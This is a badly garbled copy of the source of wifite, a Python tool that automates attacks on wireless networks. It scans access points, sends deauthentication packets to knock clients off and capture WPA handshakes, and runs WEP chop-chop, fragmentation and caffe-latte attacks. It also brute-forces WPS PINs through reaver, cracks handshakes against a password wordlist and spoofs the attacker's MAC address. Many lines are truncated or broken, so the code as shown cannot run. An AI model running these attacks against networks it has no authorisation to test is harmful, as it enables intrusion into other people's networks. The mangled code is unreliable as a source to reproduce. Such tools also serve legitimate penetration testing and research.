/usr/bin/python
"""
wifite
Licensed under the GNU General Public License Version 2 (GNU GPL v2),
available at: http://www.gnu.org/licenses/gpl-2.0.txt
-----------------
TODO:
ignore root check when -cracked (afterward) (need root for -check?)
"cracked*" in list of AP's
If device already in monitor mode, check for and, if applicable, use macchanger
WPS
* Mention reaver automatically resumes sessions
WEP:
* ability to pause/skip/continue
reaver:
MONITOR ACTIVITY!
- Enter ESSID when executing (?)
- Ensure WPS key attempts have begun.
- If no attempts can be made, stop attack
- During attack, if no attempts are made within X minutes, stop attack & Print
MIGHTDO:
* WPA - crack (pyrit/cowpatty) (not really important)
* Test injection at startup? (skippable via command-line switch)
"""
#############
# LIBRARIES #
#############
import os
# File management
# Command-line arguments
################################
REVISION = 85;
# WPA variables
WPA_DISABLE
WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
WPA_HANDSHAKE_DIR
WPA_FINDINGS
WPA_DONT_CRACK
= []
WPA_DICTIONARY
= '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-userpasswd/passwds/phpbb.txt'
if not os.path.exists(WPA_DICTIONARY): WPA_DICTIONARY = ''
WPA_HANDSHAKE_PYRIT
accurate.
# WEP variables
WEP_DISABLE
WEP_PPS
WEP_TIMEOUT
WEP_ARP_REPLAY
WEP_CHOPCHOP
= True #
WEP_FRAGMENT
= True #
WEP_CAFFELATTE
= True #
WEP_P0841
= True
WEP_HIRTE
= True
WEP_CRACK_AT_IVS
= []
# WPS variables
WPS_DISABLE
WPS_FINDINGS
= []
WPS_TIMEOUT
WPS_MAX_RETRIES
completely.
=0
# Program variables
WIRELESS_IFACE
= ''
TARGET_CHANNEL
# User-defined interface
=0
TARGET_ESSID
= ''
TARGET_BSSID
= ''
IFACE_TO_TAKE_DOWN = ''
# It's our job to put it out of monitor mode after the attacks
ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before
spoofing)
DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
TARGETS_REMAINING = 0
WPA_CAPS_TO_CRACK = []
THIS_MAC
= ''
= []
# Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
if os.getuid() != 0:
print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo
./wifite.py'+W
exit(1)
###################
# DATA STRUCTURES #
###################
class CapFile:
"""
Holds data about an access point's .cap file, including AP's ESSID &
BSSID.
"""
def __init__(self, filename, ssid, bssid):
self.filename = filename
self.ssid = ssid
self.bssid = bssid
class Target:
"""
Holds data for a Target (aka Access Point aka Router)
"""
def __init__(self, bssid, power, data, channel, encryption, ssid):
self.bssid = bssid
self.power = power
self.data = data
self.channel = channel
self.encryption = encryption
self.ssid = ssid
class Client:
"""
Holds data for a Client (device connected to Access Point/Router)
"""
def __init__(self, bssid, station, power):
self.bssid = bssid
self.station = station
self.power = power
##################
# MAIN FUNCTIONS #
##################
def main():
"""
try:
index = 0
while index < len(targets):
target = targets[index]
# Check if we have already cracked this target
for already in CRACKED_TARGETS:
if already.bssid == targets[index].bssid:
print R+'\n [!]'+O+' you have already
cracked this access point\'s key!'+W
print R+' [!] %s' %
(C+already.ssid+W+': "'+G+already.key+W+'"')
ri = raw_input(GR+' [+] '+W+'do you
want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')
if ri.lower() == 'n':
targets.pop(index)
index -= 1
break
%s\n' % (G+handshake_file+W)
index += 1
except KeyboardInterrupt:
print '\n '+R+'(^C)'+O+' interrupted\n'
exit_gracefully(0)
wpa_success = 0
wep_success = 0
wpa_total = 0
wep_total = 0
TARGETS_REMAINING = len(targets)
for t in targets:
TARGETS_REMAINING -= 1
print ''
if t.encryption.find('WPA') != -1:
need_handshake = True
if not WPS_DISABLE and t.wps:
need_handshake = not wps_attack(iface, t)
wpa_total += 1
' + C+finding+W
if wep_total > 0:
if wep_success == 0:
' + C+finding+W
caps = len(WPA_CAPS_TO_CRACK)
if caps > 0 and not WPA_DONT_CRACK:
print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on
%s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)
for cap in WPA_CAPS_TO_CRACK:
wpa_crack(cap)
print ''
exit_gracefully(0)
"""
Renames file 'old' to 'new', works with separate partitions.
Thanks to hannan.sadar
"""
try:
os.rename(old, new)
except os.error, detail:
if detail.errno == errno.EXDEV:
try:
copy(old, new)
except:
os.unlink(new)
raise
os.unlink(old)
# if desired, deal with other errors
else:
raise
def initial_check():
"""
Ensures required programs are installed.
"""
global WPS_DISABLE
airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
for air in airs:
if program_exists(air): continue
'+C+'http://www.aircrack-ng.org/'+W
if not program_exists('iw'):
print R+' [!]'+O+' airmon-ng requires the program %s\n' %
(R+'iw'+W)
exit_gracefully(1)
printed = False
# Check reaver
if not program_exists('reaver'):
printed = True
print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS
attacks'+W
print R+' '+O+' available at
'+C+'http://code.google.com/p/reaver-wps'+W
WPS_DISABLE = True
elif not program_exists('walsh') and not program_exists('wash'):
printed = True
print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or
'+R+'wash'+O+') was not found'+W
print R+' [!]'+O+' please re-install reaver or install walsh/wash
separately'+W
def handle_args():
"""
Handles command-line arguments, sets global variables.
"""
global WIRELESS_IFACE, TARGET_CHANNEL, DO_NOT_CHANGE_MAC,
TARGET_ESSID, TARGET_BSSID
global WPA_DISABLE, WPA_STRIP_HANDSHAKE, WPA_DEAUTH_TIMEOUT,
WPA_ATTACK_TIMEOUT
global WPA_DONT_CRACK, WPA_DICTIONARY, WPA_HANDSHAKE_TSHARK,
WPA_HANDSHAKE_PYRIT
global WPA_HANDSHAKE_AIRCRACK, WPA_HANDSHAKE_COWPATTY
global WEP_DISABLE, WEP_PPS, WEP_TIMEOUT, WEP_ARP_REPLAY,
WEP_CHOPCHOP, WEP_FRAGMENT
global WEP_CAFFELATTE, WEP_P0841, WEP_HIRTE, WEP_CRACK_AT_IVS,
WEP_IGNORE_FAKEAUTH
global WEP_SAVE, SHOW_MAC_IN_SCAN, ATTACK_ALL_TARGETS,
ATTACK_MIN_POWER
global WPS_DISABLE, WPS_TIMEOUT, WPS_RATIO_THRESHOLD,
WPS_MAX_RETRIES
global VERBOSE_APS
args = argv[1:]
if args.count('-h') + args.count('--help') + args.count('?') + args.count('-help') >
0:
help()
exit_gracefully(0)
set_encrypt = False
set_hscheck = False
set_wep
capfile
= False
= '' # Filename of .cap file to analyze for handshakes
try:
for i in xrange(0, len(args)):
WPS_DISABLE = False
except IndexError:
print R+' [!]'+O+' unable to analyze
capture file'+W
print R+' [!]'+O+' no cap file
given!\n'+W
exit_gracefully(1)
else:
if not os.path.exists(capfile):
print R+' [!]'+O+' unable to
analyze capture file!'+W
print R+' [!]'+O+' file not
found: '+R+capfile+'\n'+W
exit_gracefully(1)
%s (%s) : "%s"' %
# WPA
if not set_hscheck and (args[i] == '-tshark' or args[i] == 'cowpatty' or args[i] == '-aircrack' or args[i] == 'pyrit'):
WPA_HANDSHAKE_TSHARK = False
WPA_HANDSHAKE_PYRIT
= False
WPA_HANDSHAKE_COWPATTY = False
WPA_HANDSHAKE_AIRCRACK = False
set_hscheck = True
elif args[i] == '-strip':
WPA_STRIP_HANDSHAKE = True
print GR+' [+]'+W+' handshake stripping
'+G+'enabled'+W
elif args[i] == '-wpadt':
i += 1
WPA_DEAUTH_TIMEOUT = int(args[i])
print GR+' [+]'+W+' WPA deauth timeout set to
%s' % (G+args[i]+' seconds'+W)
elif args[i] == '-wpat':
i += 1
WPA_ATTACK_TIMEOUT = int(args[i])
print GR+' [+]'+W+' WPA attack timeout set to
%s' % (G+args[i]+' seconds'+W)
elif args[i] == '-crack':
WPA_DONT_CRACK = False
print GR+' [+]'+W+' WPA cracking
'+G+'enabled'+W
elif args[i] == '-dict':
i += 1
try:
WPA_DICTIONARY = args[i]
except IndexError: print R+' [!]'+O+' no WPA
dictionary given!'
else:
if os.path.exists(args[i]):
print GR+' [+]'+W+' WPA
dictionary set to %s' % (G+args[i]+W)
else:
print R+' [!]'+O+' WPA
dictionary file not found: %s' % (args[i])
if args[i] == '-tshark':
WPA_HANDSHAKE_TSHARK = True
print GR+' [+]'+W+' tshark handshake
verification '+G+'enabled'+W
if args[i] == '-pyrit':
WPA_HANDSHAKE_PYRIT = True
print GR+' [+]'+W+' pyrit handshake
verification '+G+'enabled'+W
if args[i] == '-aircrack':
WPA_HANDSHAKE_AIRCRACK = True
print GR+' [+]'+W+' aircrack handshake
verification '+G+'enabled'+W
if args[i] == '-cowpatty':
WPA_HANDSHAKE_COWPATTY = True
print GR+' [+]'+W+' cowpatty handshake
verification '+G+'enabled'+W
# WEP
= False
WEP_HIRTE
= False
if args[i] == '-chopchop':
print GR+' [+]'+W+' WEP chop-chop attack
'+G+'enabled'+W
WEP_CHOPCHOP = True
if args[i] == '-fragment' or args[i] == '-frag' or args[i] ==
'-fragmentation':
print GR+' [+]'+W+' WEP fragmentation attack
'+G+'enabled'+W
WEP_FRAGMENT = True
if args[i] == '-caffelatte':
print GR+' [+]'+W+' WEP caffe-latte attack
'+G+'enabled'+W
WEP_CAFFELATTE = True
if args[i] == '-arpreplay':
print GR+' [+]'+W+' WEP arp-replay attack
'+G+'enabled'+W
WEP_ARPREPLAY = True
if args[i] == '-p0841':
print GR+' [+]'+W+' WEP p0841 attack
'+G+'enabled'+W
WEP_P0841 = True
if args[i] == '-hirte':
print GR+' [+]'+W+' WEP hirte attack
'+G+'enabled'+W
WEP_HIRTE = True
if args[i] == '-nofake':
print GR+' [+]'+W+' ignoring failed fakeauthentication '+R+'disabled'+W
WEP_IGNORE_FAKEAUTH = False
if args[i] == '-wept' or args[i] == '-weptime':
i += 1
try:
WEP_TIMEOUT = int(args[i])
except ValueError: print R+' [!]'+O+' invalid
timeout: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no timeout
given!'+W
else: print GR+' [+]'+W+' WEP attack timeout
set to %s' % (G+args[i] + " seconds"+W)
if args[i] == '-pps':
i += 1
try:
WEP_PPS = int(args[i])
except ValueError: print R+' [!]'+O+' invalid
value: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no value
given!'+W
else: print GR+' [+]'+W+' packets-per-second
rate set to %s' % (G+args[i] + " packets/sec"+W)
if args[i] == '-save' or args[i] == '-wepsave':
WEP_SAVE = True
# WPS
if args[i] == '-wpst' or args[i] == '-wpstime':
i += 1
try:
WPS_TIMEOUT = int(args[i])
except ValueError: print R+' [!]'+O+' invalid
timeout: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no timeout
given!'+W
else: print GR+' [+]'+W+' WPS attack timeout
set to %s' % (G+args[i] + " seconds"+W)
if args[i] == '-wpsratio' or args[i] == 'wpsr':
i += 1
try:
WPS_RATIO_THRESHOLD =
float(args[i])
except ValueError: print R+' [!]'+O+' invalid
percentage: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no ratio
given!'+W
else: print GR+' [+]'+W+' minimum WPS
tries/attempts threshold set to %s' % (G+args[i] + ""+W)
if args[i] == '-wpsmaxr' or args[i] == '-wpsretry':
i += 1
try:
WPS_MAX_RETRIES = int(args[i])
except ValueError: print R+' [!]'+O+' invalid
except IndexError:
print '\nindexerror\n\n'
if capfile != '':
analyze_capfile(capfile)
print ''
def banner():
"""
Displays ASCII art of the highest caliber.
"""
global REVISION
print ''
print G+" .;'
`;,
"
"+GR+"/___\\"+G+"
"+GR+"/_____\\"+G+"
print G+"
"+GR+"/
print W
\\"+G+"
"
"
def upgrade():
"""
Checks for new version, prompts to upgrade, then
replaces this script with the latest from the repo
"""
global REVISION
try:
print GR+' [!]'+W+' upgrading requires an '+G+'internet
connection'+W
print GR+' [+]'+W+' checking for latest version...'
(revision, description, date_changed) = get_revision()
if revision == -1:
print R+' [!]'+O+' unable to access googlecode'+W
elif revision > REVISION:
print GR+' [!]'+W+' a new version is '+G+'available!'+W
print GR+' [-]'+W+' revision:
'+G+str(revision)+W
try:
sock =
urllib.urlopen('http://wifite.googlecode.com/svn/trunk/wifite.py')
page = sock.read()
except IOError:
page = ''
if page == '':
print R+' [+] '+O+'unable to download latest
version'+W
exit_gracefully(1)
''')
f.close()
else:
print GR+' [-]'+W+' your copy of wifite is '+G+'up to
date'+W
except KeyboardInterrupt:
print R+'\n (^C)'+O+' wifite upgrade interrupted'+W
exit_gracefully(0)
def get_revision():
"""
try:
sock = urllib.urlopen('http://code.google.com/p/wifite/source/list?
path=/trunk/wifite.py')
page = sock.read()
except IOError:
return (-1, '', '')
start= page.find('">',start)
stop = page.find('</a>', start)
if start != -1 and stop != -1:
start += 2
desc=page[start:stop].strip()
desc=desc.replace("'","'")
desc=desc.replace("<","<")
desc=desc.replace(">",">")
if '\n' in desc:
desc = desc.split('\n')[0]
def help():
"""
Prints help screen
"""
head
=W
sw
=G
var
= GR
des
=W
de
=G
print ''
'+de+'[off]'+W
'+de+'[off]'+W
'+de+'[off]'+W
'+de+'[on]'+W
'+de+'[on]'+W
'+de+'[on]'+W
'+de+'[off]'+W
print sw+'\t-wpst '+var+'<sec> \t'+des+'max wait for new retry before giving
up (0: never) '+de+'[660]'+W
print sw+'\t-wpsratio '+var+'<per>\t'+des+'min ratio of successful PIN
attempts/total tries '+de+'[0]'+W
print sw+'\t-wpsretry '+var+'<num>\t'+des+'max number of retries for same
PIN before giving up '+de+'[0]'+W
###########################
# WIRELESS CARD FUNCTIONS #
###########################
def enable_monitor_mode(iface):
"""
Uses airmon-ng to put a device into Monitor Mode.
Then uses the get_iface() method to retrieve the new interface's
name.
Sets global variable IFACE_TO_TAKE_DOWN as well.
Returns the name of the interface in monitor mode.
"""
global IFACE_TO_TAKE_DOWN
print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W),
stdout.flush()
call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
print 'done'
IFACE_TO_TAKE_DOWN = get_iface()
return IFACE_TO_TAKE_DOWN
def disable_monitor_mode():
"""
The program may have enabled monitor mode on a wireless
interface.
We want to disable this before we exit, so we will do that.
"""
PRINTED_SCANNING = False
def get_iface():
"""
Get the wireless interface in monitor mode.
Defaults to only device in monitor mode if found.
Otherwise, enumerates list of possible wifi devices
and asks user to select one to put into monitor mode (if multiple).
Uses airmon-ng to put device in monitor mode if needed.
Returns the name (string) of the interface chosen in monitor mode.
"""
global PRINTED_SCANNING
if not PRINTED_SCANNING:
print GR+' [+]'+W+' scanning for wireless devices...'
PRINTED_SCANNING = True
if WIRELESS_IFACE != '':
if monitors.count(WIRELESS_IFACE): return WIRELESS_IFACE
print R+' [!]'+O+' could not find wireless interface %s' %
('"'+R+WIRELESS_IFACE+O+'"'+W)
if len(monitors) == 1:
return monitors[0] # Default to only device in monitor mode
elif len(monitors) > 1:
print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+W
for i, monitor in enumerate(monitors):
print " %s. %s" % (G+str(i+1)+W, G+monitor+W)
ri = raw_input("%s [+]%s select %snumber%s of interface to use for
capturing (%s1-%d%s): %s" % \
(GR,
W,
G,
W,
G, len(monitors), W, G))
G, len(monitors), W, G))
i = int(ri)
return monitors[i - 1]
monitors.append(line)
if len(monitors) == 0:
print R+' [!]'+O+" no wireless interfaces were found."+W
print R+' [!]'+O+" you need to plug in a wifi device or install
drivers.\n"+W
exit_gracefully(0)
elif WIRELESS_IFACE != '' and monitors.count(WIRELESS_IFACE) > 0:
mac_anonymize(monitor)
return enable_monitor-mode
elif len(monitors) == 1:
monitor = monitors[0][:monitors[0].find('\t')]
mac_anonymize(monitor)
return enable_monitor_mode(monitor)
return enable_monitor_mode(monitor)
######################
# SCANNING FUNCTIONS #
######################
command = ['airodump-ng',
time_started = time.time()
print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec
intervals, '+G+'CTRL+C'+W+' when ready.'
(targets, clients) = ([], [])
try:
deauth_sent = 0.0
old_targets = []
stop_scanning = False
while True:
time.sleep(0.3)
if not os.path.exists(temp + 'wifite-01.csv') and time.time()
- time_started > 1.0:
print R+'\n [!] ERROR!'+W
# RTL8187 Unknown Error 132 FIX
if proc.poll() != None: # Check if process has
finished
proc = Popen(['airodump-ng', iface],
stdout=DN, stderr=PIPE)
if not tried_rtl8187_fix and
proc.communicate()[1].find('failed: Unknown error 132') != -1:
if rtl8187_fix(iface):
return
scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
print R+' [!]'+O+' wifite is unable to generate
airodump-ng output files'+W
print R+' [!]'+O+' you may want to
disconnect/reconnect your wifi device'+W
exit_gracefully(1)
try: os.kill(proc.pid,
SIGTERM)
except OSError: pass
except UnboundLocalError:
pass
targets = [t]
stop_scanning = True
break
stop_scanning = True
if stop_scanning: break
\r" % \
time.sleep(0.5)
else:
for ot in old_targets:
if ot.ssid == ''
and ot.bssid == t.bssid:
print '\r
%s successfully decloaked "%s"
'%\
old_targets = targets[:]
if VERBOSE_APS and len(targets) > 0:
targets = sorted(targets, key=lambda t: t.power,
reverse=True)
if not WPS_DISABLE:
wps_check_targets(targets, temp +
'wifite-01.cap', verbose=False)
os.system('clear')
print GR+'\n [+] '+G+'scanning'+W+'
('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'
POWER WPS? CLIENT" % ('BSSID
print ' --- -------------------- %s-- ---- ----- ---------' % ('----------------- ' if SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
# SSID
if target.ssid == '':
p=
O+'('+target.bssid+')'+GR+' '+W
print O,
print "\b%3s" %
target.encryption.strip().ljust(4) + W,
# Power
if target.power >= 55: col = G
elif target.power >= 40: col = O
else:
col = R
print "%s%3ddb%s" %
(col,target.power, W),
# WPS
if WPS_DISABLE:
print " %3s" %
(O+'n/a'+W),
else:
print " %3s" % (G+'wps'+W
if target.wps else R+' no'+W),
# Clients
client_text = ''
for c in clients:
if c.station == target.bssid:
if client_text ==
'': client_text = 'client'
elif client_text[1] != "s": client_text += "s"
if client_text != '': print ' %s' %
(G+client_text+W)
else: print ''
print ''
print ' %s %s wireless networks. %s target%s and %s client
%s found \r' % (
GR+sec_to_hms(time.time() - time_started)+W,
G+'scanning'+W,
G+str(len(targets))+W, '' if len(targets) == 1 else 's',
G+str(len(clients))+W, '' if len(clients) == 1 else 's'),
stdout.flush()
except KeyboardInterrupt:
pass
print ''
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
except UnboundLocalError: pass
remove_airodump_files(temp + 'wifite')
if len(targets) == 0:
print R+' [!]'+O+' no targets found!'+W
print R+' [!]'+O+' you may need to wait for targets to show up.'+W
print ''
exit_gracefully(1)
if VERBOSE_APS: os.system('clear')
# Sort by Power
targets = sorted(targets, key=lambda t: t.power, reverse=True)
victims = []
print " NUM ESSID
' if SHOW_MAC_IN_SCAN else '')
print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if
SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
# SSID
if target.ssid == '':
p = O+'('+target.bssid+')'+GR+' '+W
print '%s' % p.ljust(20),
elif ( target.ssid.count('\x00') == len(target.ssid) ):
p = '<Length '+str(len(target.ssid))+'>'
print '%s' % C+p.ljust(20)+W,
elif len(target.ssid) <= 20:
print "%s" % C+target.ssid.ljust(20)+W,
else:
print "%s" % C+target.ssid[0:17] + '...'+W,
# BSSID
if SHOW_MAC_IN_SCAN:
print O,target.bssid+W,
# Channel
print G+target.channel.rjust(3),W,
# Encryption
if target.encryption.find("WEP") != -1: print G,
else:
print O,
col = R
if len(victims) == 0:
print O+'\n [!] '+R+'no targets selected.\n'+W
exit_gracefully(0)
print ''
print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims)
== 1 else 's')
def parse_csv(filename):
"""
Parses given lines from airodump-ng CSV file.
Returns tuple: List of targets and list of clients.
"""
if not os.path.exists(filename): return ([], [])
try:
f = open(filename, 'r')
lines = f.read().split('\n')
f.close()
except IOError: return ([], [])
hit_clients = False
targets = []
clients = []
for line in lines:
if line.startswith('Station MAC,'): hit_clients = True
if line.startswith('BSSID') or line.startswith('Station MAC') or
line.strip() == '': continue
if not hit_clients: # Access points
c = line.split(', ', 13)
if len(c) <= 11: continue
cur = 11
c[cur] = c[cur].strip()
if not c[cur].isdigit(): cur += 1
if cur > len(c) - 1: continue
ssid = c[cur+1]
ssidlen = int(c[cur])
ssid = ssid[:ssidlen]
power = int(c[cur-4])
if power < 0: power += 100
enc = c[5]
# Ignore non-WPA/WEP networks.
if enc.find('WPA') == -1 and enc.find('WEP') == -1:
continue
if WEP_DISABLE and enc.find('WEP') != -1: continue
if WPA_DISABLE and WPS_DISABLE and enc.find('WPA') !=
-1: continue
enc = enc.strip()[:4]
cmd = [program_name,
'-f', cap_file,
'-C'] # ignore Frame Check Sum errors
proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
proc_walsh.wait()
for line in proc_walsh.communicate()[0].split('\n'):
if line.strip() == '' or line.startswith('Scanning for'): continue
bssid = line.split(' ')[0]
for t in targets:
if t.bssid.lower() == bssid.lower():
t.wps = True
if verbose:
print 'done'
removed = 0
if not WPS_DISABLE and WPA_DISABLE:
i=0
def rtl8187_fix(iface):
"""
Attempts to solve "Unknown error 132" common with RTL8187
devices.
Puts down interface, unloads/reloads driver module, then puts iface
back up.
Returns True if fix was attempted, False otherwise.
"""
# Check if current interface is using the RTL8187 chipset
proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
proc_airmon.wait()
using_rtl8187 = False
for line in proc_airmon.communicate()[0].split():
line = line.upper()
if line.strip() == '' or line.startswith('INTERFACE'): continue
if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187
= True
if not using_rtl8187:
original_iface = iface
# Take device out of monitor mode
airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
airmon.wait()
for line in airmon.communicate()[0].split('\n'):
if line.strip() == '' or \
line.startswith("Interface") or \
line.find('(removed)') != -1:
continue
original_iface = line.split()[0] # line[:line.find('\t')]
print '\r
\r',
return True
def print_and_exec(cmd):
"""
Prints and executes command "cmd". Also waits half a second
Used by rtl8187_fix (for prettiness)
"""
print '\r
\r',
stdout.flush()
print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,
stdout.flush()
call(cmd, stdout=DN, stderr=DN)
time.sleep(0.1)
####################
# HELPER FUNCTIONS #
####################
def remove_airodump_files(prefix):
"""
Removes airodump output files for whatever file prefix ('wpa', 'wep',
etc)
Used by wpa_get_handshake() and attack_wep()
"""
remove_file(prefix + '-01.cap')
remove_file(prefix + '-01.csv')
remove_file(prefix + '-01.kismet.csv')
remove_file(prefix + '-01.kismet.netxml')
for filename in os.listdir(temp):
if filename.lower().endswith('.xor'): remove_file(temp + filename)
for filename in os.listdir('.'):
if filename.startswith('replay_') and filename.endswith('.cap'):
remove_file(filename)
if filename.endswith('.xor'): remove_file(filename)
# Remove .cap's from previous attack sessions
"""i = 2
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
os.remove(temp + 'wep-' + str(i) + '.cap')
i += 1
"""
def remove_file(filename):
"""
Attempts to remove a file. Does not throw error if file is not found.
"""
try: os.remove(filename)
except OSError: pass
def program_exists(program):
"""
Uses 'which' (linux command) to check if a program is installed.
"""
def sec_to_hms(sec):
"""
Converts integer sec to h:mm:ss format
"""
if sec <= -1: return '[endless]'
h = sec / 3600
sec %= 3600
m = sec / 60
sec %= 60
return '[%d:%02d:%02d]' % (h, m, sec)
def send_interrupt(process):
"""
Sends interrupt signal to process's PID.
"""
try:
os.kill(process.pid, SIGINT)
# os.kill(process.pid, SIGTERM)
except OSError: pass
def get_mac_address(iface):
"""
Returns MAC address of "iface".
"""
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
proc.wait()
mac = ''
first_line = proc.communicate()[0].split('\n')[0]
for word in first_line.split(' '):
if word != '': mac = word
if mac.find('-') != -1: mac = mac.replace('-', ':')
if len(mac) > 17: mac = mac[0:17]
return mac
def generate_random_mac(old_mac):
"""
Generates a random MAC address.
Keeps the same vender (first 6 chars) of the old MAC address
(old_mac).
Returns string in format old_mac[0:9] + :XX:XX:XX where X is
random hex
"""
random.seed()
def mac_anonymize(iface):
"""
Changes MAC address of 'iface' to a random MAC.
Only randomizes the last 6 digits of the MAC, so the vender says the
same.
Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
"""
global ORIGINAL_IFACE_MAC
if DO_NOT_CHANGE_MAC: return
if not program_exists('ifconfig'): return
new_mac = generate_random_mac(old_mac)
def mac_change_back():
"""
Changes MAC address back to what it was before attacks began.
"""
iface = ORIGINAL_IFACE_MAC[0]
old_mac = ORIGINAL_IFACE_MAC[1]
if iface == '' or old_mac == '': return
def analyze_capfile(capfile):
"""
Analyzes given capfile for handshakes using various programs.
Prints results to console.
"""
global TARGET_BSSID, TARGET_ESSID
if TARGET_BSSID == '':
# Get the first BSSID found in tshark!
TARGET_BSSID = get_bssid_from_cap(TARGET_ESSID, capfile)
# if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
if TARGET_BSSID == '':
print R+' [!]'+O+' unable to guess BSSID from ESSID!'
else:
if program_exists('pyrit'):
result = has_handshake_pyrit(t, capfile)
print GR+' [+]'+W+'
result else O+'not found'+W)
print ''
exit_gracefully(0)
cmd = ['tshark',
'-r', capfile,
'-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.find('SSID=') != -1:
essid = line[line.find('SSID=')+5:]
print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)
return essid
cmd = ['tshark',
'-r', capfile,
'-R', 'eapol',
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
while line.startswith(' ') or line.startswith('\t'): line =
line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[2]
elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
while line.startswith(' ') or line.startswith('\t'): line =
line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[4]
return ''
def exit_gracefully(code=0):
"""
We may exit the program at any time.
We want to remove the temp folder and any files contained within it.
Removes the temp files/folder and exists with error code "code".
"""
def attack_interrupted_prompt():
"""
Promps user to decide if they want to exit,
skip to cracking WPA handshakes,
or continue attacking the remaining targets (if applicable).
returns True if user chose to exit complete, False otherwise
"""
global TARGETS_REMAINING
should_we_exit = False
# If there are more targets to attack, ask what to do next
if TARGETS_REMAINING > 0:
options = ''
if len(WPA_CAPS_TO_CRACK) > 0:
options += W+', '+O+'s'+W
print O+"
[e]xit"+W+" completely"
ri = ''
while ri != 'c' and ri != 's' and ri != 'e':
ri = raw_input(GR+' [+]'+W+' please make a selection
(%s): ' % options)
if ri == 's':
TARGETS_REMAINING = -1 # Tells start() to ignore other
targets, skip to cracking
elif ri == 'e':
should_we_exit = True
return should_we_exit
#################
# WPA FUNCTIONS #
#################
seconds_running = 0
target_clients = clients[:]
client_index = -1
time.sleep(1)
seconds_running += 1
print "
\r",
if seconds_running % WPA_DEAUTH_TIMEOUT == 0:
# Send deauth packets via aireplay-ng
cmd = ['aireplay-ng',
'-0', # Attack method (Deauthentication)
'1', # Number of packets to send
'-a', target.bssid]
client_index += 1
if client_index == -1 or len(target_clients) == 0
or client_index >= len(target_clients):
print " %s sending 1 deauth to
%s*broadcast*%s..." % \
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W),
client_index = -1
else:
print " %s sending 1 deauth to %s... "
%\
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, \
G+target_clients[client_index].bssid+W),
cmd.append('-h')
cmd.append(target_clients[client_index].bssid)
cmd.append(iface)
stdout.flush()
WPA_FINDINGS.append('')
# No handshake yet
os.remove(temp + 'wpa-01.cap.temp')
if new_client:
print " %s %snew client%s found: %s
"%\
(GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
G+client.bssid+W)
target_clients.append(client)
if not got_handshake:
print R+' [0:00:00]'+O+' unable to capture handshake in
time'+W
except KeyboardInterrupt:
print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
if attack_interrupted_prompt():
remove_airodump_files(temp + 'wpa')
send_interrupt(proc_read)
send_interrupt(proc_deauth)
print ''
exit_gracefully(0)
# clean up
remove_airodump_files(temp + 'wpa')
send_interrupt(proc_read)
send_interrupt(proc_deauth)
return got_handshake
dst = fields[4].lower()
continue
elif len(fields) == 8:
fields.append('(msg')
fields.append('3/4)')
(1, 2, 3, or 4)
msg = fields[-1][0]
msg_num += 1
# input file
return False
return True
else:
# If Pyrit says it's good or workable, it's a valid handshake.
tried = True
valid_handshake = has_handshake_tshark(target, capfile)
def strip_handshake(capfile):
"""
Uses Tshark or Pyrit to strip all non-handshake packets from a .cap
file
File in location 'capfile' is overwritten!
"""
output_file = capfile
if program_exists('pyrit'):
